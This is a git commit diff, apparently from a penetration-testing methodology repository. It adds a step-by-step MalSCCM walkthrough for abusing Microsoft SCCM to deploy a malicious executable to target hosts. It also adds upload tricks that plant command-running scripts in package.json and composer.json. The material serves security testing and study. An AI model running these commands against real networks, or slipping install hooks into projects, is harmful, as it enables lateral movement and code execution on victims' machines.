SCCM deployment + JSON uploads

johnnypu · May 9, 2022 · 67457ec · 67457ec
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diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md
@@ -105,6 +105,7 @@
     - [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
     - [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
     - [PrivExchange attack](#privexchange-attack)
+    - [SCCM Deployment](#sccm-deployment)
     - [RODC - Read Only Domain Controller Compromise](#rodc---read-only-domain-controller-compromise)
     - [PXE Boot image attack](#pxe-boot-image-attack)
     - [DSRM Credentials](#dsrm-credentials)
@@ -3238,6 +3239,63 @@ python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d
 python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
 ```
 
+### SCCM Deployment
+
+> SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.
+
+* [PowerSCCM - PowerShell module to interact with SCCM deployments](https://github.com/PowerShellMafia/PowerSCCM)
+* [MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage](https://github.com/nettitude/MalSCCM)
+
+* Compromise client, use locate to find management server 
+    ```ps1
+    MalSCCM.exe locate
+    ```
+* Enumerate over WMI as an administrator of the Distribution Point
+    ```ps1
+    MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
+    ```
+* Compromise management server, use locate to find primary server
+* use Inspect on primary server to view who you can target
+    ```ps1
+    MalSCCM.exe inspect /all
+    MalSCCM.exe inspect /computers
+    MalSCCM.exe inspect /primaryusers
+    MalSCCM.exe inspect /groups
+    ```
+* Create a new device group for the machines you want to laterally move too
+    ```ps1
+    MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
+    MalSCCM.exe inspect /groups
+    ```
+
+* Add your targets into the new group 
+    ```ps1
+    MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
+    ```
+* Create an application pointing to a malicious EXE on a world readable share : `SCCMContentLib$`
+    ```ps1
+    MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
+    MalSCCM.exe inspect /applications
+    ```
+
+* Deploy the application to the target group 
+    ```ps1
+    MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
+    MalSCCM.exe inspect /deployments
+    ```
+* Force the target group to checkin for updates 
+    ```ps1
+    MalSCCM.exe checkin /groupname:TargetGroup
+    ```
+
+* Cleanup the application, deployment and group
+    ```ps1
+    MalSCCM.exe app /cleanup /name:demoapp
+    MalSCCM.exe group /delete /groupname:TargetGroup
+    ```
+
+
+
 ### RODC - Read Only Domain Controller Compromise
 
 > If the user is included in the **Allowed RODC Password Replication**, their credentials are stored in the server, and the **msDS-RevealedList** attribute of the RODC is populated with the username.
@@ -3585,4 +3643,5 @@ CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
 * [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)
 * [AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022](https://www.blackarrow.net/adcs-weaponizing-esc7-attack/)
 * [AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh](https://www.blackarrow.net/ad-cs-from-manageca-to-rce/)
-* [Introducing the Golden GMSA Attack - YUVAL GORDON - March 01, 2022](https://www.semperis.com/blog/golden-gmsa-attack/)
+* [Introducing the Golden GMSA Attack - YUVAL GORDON - March 01, 2022](https://www.semperis.com/blog/golden-gmsa-attack/)
+* [Introducing MalSCCM - Phil Keeble -May 4, 2022](https://labs.nettitude.com/blog/introducing-malsccm/)
diff --git a/Upload Insecure Files/README.md b/Upload Insecure Files/README.md
@@ -96,15 +96,31 @@ Valid pictures hosting PHP code. Upload the picture and use a local file inclusi
 
 ### Configuration Files
 
-If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
-If you are  trying to upload files to an ASP server, take a look at the .config trick to execute code.
+If you are trying to upload files to a :
+- PHP server, take a look at the .htaccess trick to execute code.
+- ASP server, take a look at the .config trick to execute code.
 
 Configuration files examples
 - .htaccess
 - web.config
 - httpd.conf
 - \_\_init\_\_.py
 
+Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.
+- package.json
+    ```js
+    "scripts": {
+        "prepare" : "/bin/touch /tmp/pwned.txt"
+    }
+    ```
+- composer.json
+    ```js
+    "scripts": {
+        "pre-command-run" : [
+        "/bin/touch /tmp/pwned.txt"
+        ]
+    }
+    ```
 
 ### CVE - Image Tragik